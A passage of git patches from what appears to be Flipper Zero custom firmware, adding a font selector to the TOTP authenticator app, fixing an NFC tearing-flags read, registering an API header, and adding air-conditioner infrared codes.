event->input.key == InputKeyOk) { switch(scene_state->selected_control) { case AddNewToken: { totp_scene_director_activate_scene(plugin_state, TotpSceneAddNewToken); @@ -153,13 +167,6 @@ bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginSt default: break; } - break; - case InputKeyBack: { - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - } - default: - break; } return true; diff --git a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c b/applications/external/totp/workers/generate_totp_code/generate_totp_code.c index 7e9356c45..6dbe329fd 100644 --- a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c +++ b/applications/external/totp/workers/generate_totp_code/generate_totp_code.c @@ -25,18 +25,21 @@ static const char* STEAM_ALGO_ALPHABET = "23456789BCDFGHJKMNPQRTVWXY"; static void int_token_to_str(uint64_t i_token_code, char* str, TokenDigitsCount len, TokenHashAlgo algo) { - str[len] = '\0'; + char* last_char = str + len; + *last_char = '\0'; if(i_token_code == OTP_ERROR) { - memset(&str[0], '-', len); + memset(str, '-', len); } else { if(algo == STEAM) { - for(uint8_t i = 0; i < len; i++) { - str[i] = STEAM_ALGO_ALPHABET[i_token_code % 26]; + char* s = str; + for(uint8_t i = 0; i < len; i++, s++) { + *s = STEAM_ALGO_ALPHABET[i_token_code % 26]; i_token_code = i_token_code / 26; } } else { - for(int8_t i = len - 1; i >= 0; i--) { - str[i] = CONVERT_DIGIT_TO_CHAR(i_token_code % 10); + char* s = --last_char; + for(int8_t i = len - 1; i >= 0; i--, s--) { + *s = CONVERT_DIGIT_TO_CHAR(i_token_code % 10); i_token_code = i_token_code / 10; } } diff --git a/applications/external/totp/workers/type_code_common.c b/applications/external/totp/workers/type_code_common.c index bf5818ab2..bc42fadaa 100644 --- a/applications/external/totp/workers/type_code_common.c +++ b/applications/external/totp/workers/type_code_common.c @@ -47,11 +47,12 @@ void totp_type_code_worker_execute_automation( TokenAutomationFeature features) { furi_delay_ms(500); uint8_t i = 0; + char cb_char; - while(i < code_buffer_size && code_buffer[i] != 0) { - uint8_t char_index = CONVERT_CHAR_TO_DIGIT(code_buffer[i]); + while(i < code_buffer_size && (cb_char = code_buffer[i]) != 0) { + uint8_t char_index = CONVERT_CHAR_TO_DIGIT(cb_char); if(char_index > 9) { - char_index = code_buffer[i] - 0x41 + 10; + char_index = cb_char - 0x41 + 10; } if(char_index > 35) break; From b9397693a2d7d781126f77535938ad6148193f5f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 15:09:10 +0300 Subject: [PATCH 050/100] Setting to change fonts in TOTP opensource != selling plugin builds / do you agree? If you don't agree - and you think I did a bad thing here by allowing users to select fonts without payment, let me know Why I did that? - cuz I'm not making private "donation only" builds myself, while having no main job, and living only on donations, so I don't like stuff like that in opensource projects You should support author if you like this plugin here: https://github.com/akopachov/flipper-zero_authenticator --- applications/external/totp/features_config.h | 4 +- .../external/totp/services/config/config.c | 38 ++++++++++ .../external/totp/services/config/config.h | 7 ++ .../external/totp/services/config/constants.h | 1 + .../config/migrations/common_migration.c | 9 +++ applications/external/totp/totp_app.c | 1 + .../external/totp/types/plugin_state.h | 5 ++ .../external/totp/ui/fonts/active_font.h | 15 ---- .../scenes/app_settings/totp_app_settings.c | 37 ++++++++-- .../totp_scene_generate_token.c | 73 ++++++++++++++++--- .../totp/workers/bt_type_code/bt_type_code.c | 12 +-- 11 files changed, 163 insertions(+), 39 deletions(-) diff --git a/applications/external/totp/features_config.h b/applications/external/totp/features_config.h index 683eff2fc..c789af27b 100644 --- a/applications/external/totp/features_config.h +++ b/applications/external/totp/features_config.h @@ -7,8 +7,8 @@ // List of compatible firmwares #define TOTP_FIRMWARE_OFFICIAL_STABLE 1 #define TOTP_FIRMWARE_OFFICIAL_DEV 2 -#define TOTP_FIRMWARE_XTREME 3 +#define TOTP_FIRMWARE_UL_XFW 3 // XFW and UL now has same bluetooth mac/advname changing API // End of list // Target firmware to build for -#define TOTP_TARGET_FIRMWARE TOTP_FIRMWARE_XTREME \ No newline at end of file +#define TOTP_TARGET_FIRMWARE TOTP_FIRMWARE_UL_XFW diff --git a/applications/external/totp/services/config/config.c b/applications/external/totp/services/config/config.c index f97bc6b26..7b935e1ea 100644 --- a/applications/external/totp/services/config/config.c +++ b/applications/external/totp/services/config/config.c @@ -177,6 +177,10 @@ static bool totp_open_config_file(Storage* storage, FlipperFormat** file) { flipper_format_write_uint32( fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1); + // Default Font = 0 + tmp_uint32 = 0; + flipper_format_write_uint32(fff_data_file, TOTP_CONFIG_KEY_SELECTED_FONT, &tmp_uint32, 1); + if(!flipper_format_rewind(fff_data_file)) { totp_close_config_file(fff_data_file); FURI_LOG_E(LOGGING_TAG, "Rewind error"); @@ -259,6 +263,24 @@ bool totp_config_file_update_automation_method(const PluginState* plugin_state) return update_result; } +bool totp_config_file_update_selected_font(const PluginState* plugin_state) { + FlipperFormat* file = plugin_state->config_file_context->config_file; + flipper_format_rewind(file); + bool update_result = false; + + do { + uint32_t tmp_uint32 = plugin_state->selected_font; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_SELECTED_FONT, &tmp_uint32, 1)) { + break; + } + + update_result = true; + } while(false); + + return update_result; +} + bool totp_config_file_update_user_settings(const PluginState* plugin_state) { FlipperFormat* file = plugin_state->config_file_context->config_file; flipper_format_rewind(file); @@ -280,6 +302,12 @@ bool totp_config_file_update_user_settings(const PluginState* plugin_state) { break; } + tmp_uint32 = plugin_state->selected_font; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_SELECTED_FONT, &tmp_uint32, 1)) { + break; + } + update_result = true; } while(false); @@ -428,6 +456,16 @@ bool totp_config_file_load(PluginState* const plugin_state) { plugin_state->automation_method = tmp_uint32; + // Load selected font + flipper_format_rewind(fff_data_file); + + if(!flipper_format_read_uint32( + fff_data_file, TOTP_CONFIG_KEY_SELECTED_FONT, &tmp_uint32, 1)) { + tmp_uint32 = 0; + } + + plugin_state->selected_font = tmp_uint32; + plugin_state->config_file_context = malloc(sizeof(ConfigFileContext)); furi_check(plugin_state->config_file_context != NULL); plugin_state->config_file_context->storage = storage; diff --git a/applications/external/totp/services/config/config.h b/applications/external/totp/services/config/config.h index d2fe957c6..cc278ab5a 100644 --- a/applications/external/totp/services/config/config.h +++ b/applications/external/totp/services/config/config.h @@ -44,6 +44,13 @@ bool totp_config_file_update_notification_method(const PluginState* plugin_state */ bool totp_config_file_update_automation_method(const PluginState* plugin_state); +/** + * @brief Updates selected font in an application config file + * @param plugin_state application state + * @return Config file update result + */ +bool totp_config_file_update_selected_font(const PluginState* plugin_state); + /** * @brief Updates application user settings * @param plugin_state application state diff --git a/applications/external/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h index 3a33c80b3..27a4f56c4 100644 --- a/applications/external/totp/services/config/constants.h +++ b/applications/external/totp/services/config/constants.h @@ -18,3 +18,4 @@ #define TOTP_CONFIG_KEY_PINSET "PinIsSet" #define TOTP_CONFIG_KEY_NOTIFICATION_METHOD "NotificationMethod" #define TOTP_CONFIG_KEY_AUTOMATION_METHOD "AutomationMethod" +#define TOTP_CONFIG_KEY_SELECTED_FONT "SelectedFont" diff --git a/applications/external/totp/services/config/migrations/common_migration.c b/applications/external/totp/services/config/migrations/common_migration.c index 07026fb1f..9cee422a5 100644 --- a/applications/external/totp/services/config/migrations/common_migration.c +++ b/applications/external/totp/services/config/migrations/common_migration.c @@ -58,6 +58,15 @@ bool totp_config_migrate_to_latest( flipper_format_rewind(fff_backup_data_file); + // Font + + if(flipper_format_read_string( + fff_backup_data_file, TOTP_CONFIG_KEY_SELECTED_FONT, temp_str)) { + flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_SELECTED_FONT, temp_str); + } + + flipper_format_rewind(fff_backup_data_file); + while(true) { if(!flipper_format_read_string( fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_NAME, temp_str)) { diff --git a/applications/external/totp/totp_app.c b/applications/external/totp/totp_app.c index f620a3b48..8b0a8c1fa 100644 --- a/applications/external/totp/totp_app.c +++ b/applications/external/totp/totp_app.c @@ -107,6 +107,7 @@ static bool totp_activate_initial_scene(PluginState* const plugin_state) { } static bool totp_plugin_state_init(PluginState* const plugin_state) { + plugin_state->selected_font = 0; plugin_state->gui = furi_record_open(RECORD_GUI); plugin_state->notification_app = furi_record_open(RECORD_NOTIFICATION); plugin_state->dialogs_app = furi_record_open(RECORD_DIALOGS); diff --git a/applications/external/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h index c20594f37..97d126330 100644 --- a/applications/external/totp/types/plugin_state.h +++ b/applications/external/totp/types/plugin_state.h @@ -80,6 +80,11 @@ typedef struct { */ NotificationMethod notification_method; + /** + * @brief Numbers Font + */ + uint8_t selected_font; + /** * @brief Main rendering loop mutex */ diff --git a/applications/external/totp/ui/fonts/active_font.h b/applications/external/totp/ui/fonts/active_font.h index 58c1e2d17..054fa4a55 100644 --- a/applications/external/totp/ui/fonts/active_font.h +++ b/applications/external/totp/ui/fonts/active_font.h @@ -3,25 +3,10 @@ #include "../../features_config.h" #include "font_info.h" -#if TOTP_FONT == TOTP_FONT_MODENINE #include "mode_nine/mode_nine.h" -#define TOTP_CODE_FONT_INFO modeNine_15ptFontInfo -#elif TOTP_FONT == TOTP_FONT_REDHATMONO #include "redhat_mono/redhat_mono.h" -#define TOTP_CODE_FONT_INFO redHatMono_16ptFontInfo -#elif TOTP_FONT == TOTP_FONT_BEDSTEAD #include "bedstead/bedstead.h" -#define TOTP_CODE_FONT_INFO bedstead_17ptFontInfo -#elif TOTP_FONT == TOTP_FONT_ZECTOR #include "zector/zector.h" -#define TOTP_CODE_FONT_INFO zector_18ptFontInfo -#elif TOTP_FONT == TOTP_FONT_712SERIF #include "712serif/712serif.h" -#define TOTP_CODE_FONT_INFO _712Serif_24ptFontInfo -#elif TOTP_FONT == TOTP_FONT_GRAPH35PIX #include "graph35pix/graph35pix.h" -#define TOTP_CODE_FONT_INFO graph35pix_12ptFontInfo -#elif TOTP_FONT == TOTP_FONT_KARMAFUTURE #include "karma_future/karma_future.h" -#define TOTP_CODE_FONT_INFO karmaFuture_14ptFontInfo -#endif \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c index 54659946d..0bdc7aee3 100644 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c +++ b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c @@ -22,6 +22,7 @@ typedef enum { MinutesInput, Sound, Vibro, + FontSelector, BadUsb, #ifdef TOTP_BADBT_TYPE_ENABLED BadBt, @@ -34,6 +35,7 @@ typedef struct { uint8_t tz_offset_minutes; bool notification_sound; bool notification_vibro; + uint8_t selected_font; bool badusb_enabled; #ifdef TOTP_BADBT_TYPE_ENABLED bool badbt_enabled; @@ -54,6 +56,7 @@ void totp_scene_app_settings_activate(PluginState* plugin_state) { scene_state->notification_sound = plugin_state->notification_method & NotificationMethodSound; scene_state->notification_vibro = plugin_state->notification_method & NotificationMethodVibro; scene_state->badusb_enabled = plugin_state->automation_method & AutomationMethodBadUsb; + scene_state->selected_font = plugin_state->selected_font; #ifdef TOTP_BADBT_TYPE_ENABLED scene_state->badbt_enabled = plugin_state->automation_method & AutomationMethodBadBt; #endif @@ -111,27 +114,38 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu canvas_set_font(canvas, FontPrimary); canvas_draw_str_aligned( - canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications"); + canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications / UI"); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 81 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); + canvas_draw_str_aligned(canvas, 0, 78 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); ui_control_select_render( canvas, 36, - 74 - scene_state->y_offset, + 71 - scene_state->y_offset, SCREEN_WIDTH - 36, YES_NO_LIST[scene_state->notification_sound], scene_state->selected_control == Sound); - canvas_draw_str_aligned(canvas, 0, 99 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); + canvas_draw_str_aligned(canvas, 0, 94 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); ui_control_select_render( canvas, 36, - 92 - scene_state->y_offset, + 87 - scene_state->y_offset, SCREEN_WIDTH - 36, YES_NO_LIST[scene_state->notification_vibro], scene_state->selected_control == Vibro); + two_digit_to_str(scene_state->selected_font, &tmp_str[0]); + canvas_draw_str_aligned( + canvas, 0, 110 - scene_state->y_offset, AlignLeft, AlignTop, "UI Font:"); + ui_control_select_render( + canvas, + 36, + 103 - scene_state->y_offset, + SCREEN_WIDTH - 36, + &tmp_str[0], + scene_state->selected_control == FontSelector); + canvas_draw_icon( canvas, SCREEN_WIDTH_CENTER - 5, 123 - scene_state->y_offset, &I_totp_arrow_bottom_10x5); @@ -192,7 +206,7 @@ bool totp_scene_app_settings_handle_event( HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > Vibro) { + if(scene_state->selected_control > FontSelector) { scene_state->y_offset = 128; } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; @@ -207,7 +221,7 @@ bool totp_scene_app_settings_handle_event( HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > Vibro) { + if(scene_state->selected_control > FontSelector) { scene_state->y_offset = 128; } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; @@ -234,6 +248,10 @@ bool totp_scene_app_settings_handle_event( scene_state->badbt_enabled = !scene_state->badbt_enabled; } #endif + else if(scene_state->selected_control == FontSelector) { + totp_roll_value_uint8_t( + &scene_state->selected_font, 1, 0, 6, RollOverflowBehaviorStop); + } break; case InputKeyLeft: if(scene_state->selected_control == HoursInput) { @@ -254,6 +272,10 @@ bool totp_scene_app_settings_handle_event( scene_state->badbt_enabled = !scene_state->badbt_enabled; } #endif + else if(scene_state->selected_control == FontSelector) { + totp_roll_value_uint8_t( + &scene_state->selected_font, -1, 0, 6, RollOverflowBehaviorStop); + } break; case InputKeyOk: break; @@ -280,6 +302,7 @@ bool totp_scene_app_settings_handle_event( plugin_state->automation_method |= scene_state->badbt_enabled ? AutomationMethodBadBt : AutomationMethodNone; #endif + plugin_state->selected_font = scene_state->selected_font; if(!totp_config_file_update_user_settings(plugin_state)) { totp_dialogs_config_updating_error(plugin_state); diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index 9b7b282d6..e55f34ea2 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -142,19 +142,46 @@ static void draw_totp_code(Canvas* const canvas, const PluginState* const plugin totp_config_get_token_iterator_context(plugin_state); uint8_t code_length = totp_token_info_iterator_get_current_token(iterator_context)->digits; uint8_t offset_x = scene_state->ui_precalculated_dimensions.code_offset_x; - uint8_t char_width = TOTP_CODE_FONT_INFO.charInfo[0].width; + const FONT_INFO* current_font; + switch(plugin_state->selected_font) { + case 0: + current_font = &modeNine_15ptFontInfo; + break; + case 1: + current_font = &redHatMono_16ptFontInfo; + break; + case 2: + current_font = &bedstead_17ptFontInfo; + break; + case 3: + current_font = &zector_18ptFontInfo; + break; + case 4: + current_font = &_712Serif_24ptFontInfo; + break; + case 5: + current_font = &graph35pix_12ptFontInfo; + break; + case 6: + current_font = &karmaFuture_14ptFontInfo; + break; + default: + current_font = &modeNine_15ptFontInfo; + break; + } + uint8_t char_width = current_font->charInfo[0].width; uint8_t offset_x_inc = scene_state->ui_precalculated_dimensions.code_offset_x_inc; for(uint8_t i = 0; i < code_length; i++) { char ch = scene_state->last_code[i]; - if(ch >= TOTP_CODE_FONT_INFO.startChar && ch <= TOTP_CODE_FONT_INFO.endChar) { - uint8_t char_index = ch - TOTP_CODE_FONT_INFO.startChar; + if(ch >= current_font->startChar && ch <= current_font->endChar) { + uint8_t char_index = ch - current_font->startChar; canvas_draw_xbm( canvas, offset_x, scene_state->ui_precalculated_dimensions.code_offset_y, char_width, - TOTP_CODE_FONT_INFO.height, - &TOTP_CODE_FONT_INFO.data[TOTP_CODE_FONT_INFO.charInfo[char_index].offset]); + current_font->height, + ¤t_font->data[current_font->charInfo[char_index].offset]); } offset_x += offset_x_inc; @@ -172,15 +199,43 @@ static void on_new_token_code_generated(bool time_left, void* context) { SceneState* scene_state = plugin_state->current_scene_state; const TokenInfo* current_token = totp_token_info_iterator_get_current_token(iterator_context); - uint8_t char_width = TOTP_CODE_FONT_INFO.charInfo[0].width; + const FONT_INFO* current_font; + switch(plugin_state->selected_font) { + case 0: + current_font = &modeNine_15ptFontInfo; + break; + case 1: + current_font = &redHatMono_16ptFontInfo; + break; + case 2: + current_font = &bedstead_17ptFontInfo; + break; + case 3: + current_font = &zector_18ptFontInfo; + break; + case 4: + current_font = &_712Serif_24ptFontInfo; + break; + case 5: + current_font = &graph35pix_12ptFontInfo; + break; + case 6: + current_font = &karmaFuture_14ptFontInfo; + break; + default: + current_font = &modeNine_15ptFontInfo; + break; + } + + uint8_t char_width = current_font->charInfo[0].width; scene_state->ui_precalculated_dimensions.code_total_length = - current_token->digits * (char_width + TOTP_CODE_FONT_INFO.spacePixels); + current_token->digits * (char_width + current_font->spacePixels); scene_state->ui_precalculated_dimensions.code_offset_x = (SCREEN_WIDTH - scene_state->ui_precalculated_dimensions.code_total_length) >> 1; scene_state->ui_precalculated_dimensions.code_offset_x_inc = - char_width + TOTP_CODE_FONT_INFO.spacePixels; + char_width + current_font->spacePixels; scene_state->ui_precalculated_dimensions.code_offset_y = - SCREEN_HEIGHT_CENTER - (TOTP_CODE_FONT_INFO.height >> 1); + SCREEN_HEIGHT_CENTER - (current_font->height >> 1); if(time_left) { notification_message( diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.c b/applications/external/totp/workers/bt_type_code/bt_type_code.c index bf55dba6a..8024dba78 100644 --- a/applications/external/totp/workers/bt_type_code/bt_type_code.c +++ b/applications/external/totp/workers/bt_type_code/bt_type_code.c @@ -13,7 +13,7 @@ #include "../type_code_common.h" #include "../../features_config.h" -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW #define TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN FURI_HAL_BT_ADV_NAME_LENGTH #define TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN GAP_MAC_ADDR_SIZE #endif @@ -29,7 +29,7 @@ struct TotpBtTypeCodeWorkerContext { Bt* bt; bool is_advertising; bool is_connected; -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW char previous_bt_name[TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN]; uint8_t previous_bt_mac[TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN]; #endif @@ -39,7 +39,7 @@ static inline bool totp_type_code_worker_stop_requested() { return furi_thread_flags_get() & TotpBtTypeCodeWorkerEventStop; } -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW static void totp_type_code_worker_bt_set_app_mac(uint8_t* mac) { uint8_t max_i; size_t uid_size = furi_hal_version_uid_size(); @@ -161,7 +161,7 @@ TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { furi_delay_ms(200); bt_keys_storage_set_storage_path(context->bt, HID_BT_KEYS_STORAGE_PATH); -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW memcpy( &context->previous_bt_name[0], furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard), @@ -184,7 +184,7 @@ TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { furi_hal_bt_start_advertising(); -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW bt_enable_peer_key_update(context->bt); #endif @@ -211,7 +211,7 @@ void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context) { furi_delay_ms(200); bt_keys_storage_set_default_path(context->bt); -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME +#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_UL_XFW furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, context->previous_bt_name); furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, context->previous_bt_mac); #endif From 5a7cd203cdfeef9dd26fe14e89990ab0ef482a9c Mon Sep 17 00:00:00 2001 From: Yukai Li Date: Fri, 26 May 2023 06:50:59 -0600 Subject: [PATCH 051/100] nfc: Fix MFUL tearing flags read (#2669) Co-authored-by: gornekich --- lib/nfc/protocols/mifare_ultralight.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/nfc/protocols/mifare_ultralight.c b/lib/nfc/protocols/mifare_ultralight.c index 0e28c0074..6960bd2a1 100644 --- a/lib/nfc/protocols/mifare_ultralight.c +++ b/lib/nfc/protocols/mifare_ultralight.c @@ -702,7 +702,7 @@ bool mf_ultralight_read_tearing_flags(FuriHalNfcTxRxContext* tx_rx, MfUltralight FURI_LOG_D(TAG, "Reading tearing flags"); for(size_t i = 0; i < 3; i++) { tx_rx->tx_data[0] = MF_UL_CHECK_TEARING; - tx_rx->rx_data[1] = i; + tx_rx->tx_data[1] = i; tx_rx->tx_bits = 16; tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; if(!furi_hal_nfc_tx_rx(tx_rx, 50)) { From 4f054ed53595d901b5fa755eb3402ae1e0231fd1 Mon Sep 17 00:00:00 2001 From: hedger Date: Fri, 26 May 2023 16:57:24 +0400 Subject: [PATCH 052/100] api: added toolbox/api_lock.h (#2702) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- firmware/targets/f18/api_symbols.csv | 3 ++- firmware/targets/f7/api_symbols.csv | 1 + lib/toolbox/SConscript | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index b7abdfc05..68248a6d2 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -129,6 +129,7 @@ Header,+,lib/one_wire/maxim_crc.h,, Header,+,lib/one_wire/one_wire_host.h,, Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, +Header,+,lib/pulse_reader/pulse_reader.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_adc.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_bus.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_comp.h,, @@ -156,7 +157,7 @@ Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_tim.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_usart.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/stm32wb_hal/Inc/stm32wbxx_ll_wwdg.h,, -Header,+,lib/pulse_reader/pulse_reader.h,, +Header,+,lib/toolbox/api_lock.h,, Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 15c19091e..aebfc9072 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -190,6 +190,7 @@ Header,+,lib/subghz/subghz_setting.h,, Header,+,lib/subghz/subghz_tx_rx_worker.h,, Header,+,lib/subghz/subghz_worker.h,, Header,+,lib/subghz/transmitter.h,, +Header,+,lib/toolbox/api_lock.h,, Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, diff --git a/lib/toolbox/SConscript b/lib/toolbox/SConscript index 4e158e30e..6084969c4 100644 --- a/lib/toolbox/SConscript +++ b/lib/toolbox/SConscript @@ -8,6 +8,7 @@ env.Append( "#/lib/toolbox", ], SDK_HEADERS=[ + File("api_lock.h"), File("manchester_decoder.h"), File("manchester_encoder.h"), File("path.h"), From cce0485e75f39c3a7ef504054f15b819deeb7e0a Mon Sep 17 00:00:00 2001 From: technobulb <84107091+technobulb@users.noreply.github.com> Date: Fri, 26 May 2023 09:12:21 -0400 Subject: [PATCH 053/100] Update ac.ir (#2701) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- assets/resources/infrared/assets/ac.ir | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index cfa62f6a2..e06c95f71 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -408,3 +408,29 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 3108 3851 2062 1793 2006 1821 1103 839 2031 859 1085 829 1081 833 1079 836 1045 1911 1973 897 1015 898 1016 899 1041 871 1016 899 1014 898 1015 899 1015 899 1014 899 1041 872 1015 899 1041 872 1041 872 1015 899 1015 899 1041 873 1014 899 1041 873 1014 899 1014 1883 1975 900 3045 3886 1997 1856 1945 1857 1012 927 1945 900 1013 901 1012 901 1013 901 1012 1859 1999 901 1012 930 1012 903 1011 903 1010 903 1011 902 1012 960 1011 928 986 932 1010 903 1011 928 1015 928 985 929 985 928 1014 928 985 929 985 929 984 929 985 928 986 1915 1971 928 3017 3915 1942 1885 1943 1885 985 930 1971 929 984 930 983 930 984 930 984 1887 1942 929 983 960 983 931 982 931 983 932 981 958 985 958 956 958 984 959 954 931 983 932 981 959 955 932 982 959 954 960 982 961 983 933 955 988 955 985 929 1943 1915 958 4003 +# +# Model: Danby DAC060EB7WDB +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4402 4442 527 1629 529 549 529 1628 530 550 529 548 531 549 530 550 529 1630 528 549 530 549 529 549 530 1630 527 1629 529 1630 528 548 530 550 529 547 531 1628 530 1629 529 1628 530 1628 529 1628 530 1628 530 549 530 1628 530 1628 530 1627 531 1628 530 1627 531 1631 527 1629 529 1628 530 1627 531 1628 530 1628 530 1629 529 1627 531 1627 531 1628 529 1627 531 1627 531 1629 529 1627 530 549 529 549 530 549 530 1628 529 1627 530 5234 4401 4440 530 550 528 1628 529 549 530 1628 529 1629 528 1626 531 1628 529 550 529 1628 530 1627 531 1629 529 549 529 548 530 549 530 1628 529 1628 530 1627 530 547 532 547 532 547 531 548 531 548 530 548 531 1626 531 549 530 547 531 547 531 548 530 548 530 549 530 548 531 546 532 578 500 547 532 548 531 548 531 548 530 548 531 548 530 548 531 547 531 547 532 547 531 1627 531 1627 530 1626 532 547 531 547 532 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4454 4387 586 1573 585 494 584 1571 586 494 584 493 585 524 554 493 531 1626 586 1573 585 494 585 492 586 492 586 494 585 493 585 493 586 1571 586 493 585 1572 531 1627 530 549 584 494 586 1571 587 1572 529 1628 529 1628 530 1627 530 1626 532 1627 531 1626 532 1628 529 1627 531 1626 531 1627 531 1627 587 1569 532 1625 533 1626 532 1626 532 1627 531 1627 530 548 531 1626 532 1627 531 548 531 1627 531 548 531 546 532 547 531 5233 4401 4443 530 548 530 1627 530 547 531 1627 531 1626 531 1626 531 1627 530 549 530 548 530 1627 531 1627 531 1627 530 1627 531 1627 531 1626 531 548 530 1627 530 547 532 547 532 1627 531 1627 532 546 531 547 531 548 530 548 530 548 531 548 531 548 530 548 530 549 530 548 531 548 531 548 530 547 532 549 529 548 530 548 531 547 532 548 530 548 531 1627 530 548 530 548 531 1626 533 546 531 1627 530 1627 532 1626 530 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4492 4354 619 1537 619 459 621 1537 622 455 623 456 623 457 622 456 623 1535 622 1536 622 458 621 456 623 1536 621 1535 623 456 622 456 623 457 621 456 531 1627 621 1536 622 456 622 457 622 455 623 458 621 458 621 1537 621 1536 620 1539 618 1538 531 1628 531 1627 530 1628 530 1628 530 1627 531 1628 530 1628 530 1628 531 1627 530 1629 529 1628 529 1628 530 549 530 1627 531 1628 530 1628 530 1627 586 494 530 1627 530 549 530 5232 4400 4443 586 492 587 1571 587 493 585 1572 530 1628 586 1572 586 1572 586 492 587 493 586 1572 586 1571 586 492 587 493 585 1572 531 1627 585 1573 585 1572 585 492 586 494 585 1572 586 1571 531 1627 531 1628 530 1627 587 491 531 548 587 492 530 548 530 547 532 548 531 547 532 547 531 548 531 547 532 547 531 548 588 491 530 547 589 490 531 547 532 1626 532 548 531 548 531 547 532 547 532 1627 531 548 531 1626 532 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4401 4441 528 1629 529 550 528 1628 529 551 528 550 528 551 527 551 528 1629 529 1629 529 550 529 1630 528 551 528 549 530 550 529 551 528 549 529 550 529 1629 529 1628 530 549 530 1629 529 550 529 1628 